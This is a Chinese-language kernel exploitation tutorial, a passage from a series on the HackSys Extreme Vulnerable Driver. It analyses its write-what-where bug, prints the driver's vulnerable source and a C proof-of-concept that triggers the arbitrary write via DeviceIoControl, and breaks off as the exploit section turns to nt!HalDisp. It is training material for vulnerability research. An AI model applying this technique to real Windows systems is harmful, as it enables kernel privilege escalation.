Windows Kernel Exploitation Notes(二)——HEVD Write-What-Where
本文一共2704个字 17张图 预计阅读时间15分钟
2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载
3.本篇文章是Windows Kernel Exploitation Notes系列文章的第二篇HEVD Write-What-Where
4.本篇文章十分适合漏洞安全研究人员进行交流学习
5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽
环境配置及基础知识见上一篇,本篇及后续篇章不不再赘述。本篇使用环境如下:
-
物理机OS:Windows 10 20H2 x64
-
物理机WinDbg:10.0.19041.685
-
虚拟机OS:Windows 7 SP1 x86(6.1.7601.17514)
-
VMware:VMware Workstation 15 Pro
-
Visual Studio 2019
0x01 Root Cause Analyses
触发漏洞源码如下:
NTSTATUS
TriggerArbitraryWrite(
_In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
PULONG_PTR What = NULL;
PULONG_PTR Where = NULL;
NTSTATUS Status = STATUS_SUCCESS;
PAGED_CODE();
__try
{
//
// Verify if the buffer resides in user mode
//
ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
What = UserWriteWhatWhere->What;
Where = UserWriteWhatWhere->Where;
DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
#ifdef SECURE
//
// Secure Note: This is secure because the developer is properly validating if address
// pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()/
// ProbeForWrite() routine before performing the write operation
//
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Write\n");
//
// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
//
*(Where) = *(What);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
//
// There is one more hidden vulnerability. Find it out.
//
return Status;
}
对比Vulnerable
版本与Secure
版本可以发现,其在执行*(Where) = *(What)
语句之前未通过ProbeForRead/ProbeForWrite
函数校验读取及写入地址的合法性。跟进ProbeForRead
函数:
首先是校验边界,其次校验地址是否处于用户空间范围内(nt!MmUserProbeAddress
其值由MiInitializeBootDefaults
函数初始化):
边界未对齐,触发STATUS_DATATYPE_MISALIGNMENT
异常:
越界则触发STATUS_ACCESS_VIOLATION
异常:
ProbeForWrite
函数在边界对齐及地址范围校验方面与ProbeForRead
类似,除此之外该函数会校验地址是否可写,可读,可访问:
编写POC如下:
#include <stdio.h>
#include <windows.h>
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
int main()
{
HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
if (dev == INVALID_HANDLE_VALUE)
{
printf("Failed!\n");
system("pause");
return -1;
}
printf("Done! Device Handle:0x%p\n", dev);
PWRITE_WHAT_WHERE Buffer;
Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
Buffer->Where=(PULONG_PTR)0x41414141;
Buffer->What = (PULONG_PTR)0x42424242;
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);
CloseHandle(dev);
system("pause");
return 0;
}
触发漏洞:
0x02 Exploit
根据上文分析,现已可以实现任意地址写。将nt!HalDisp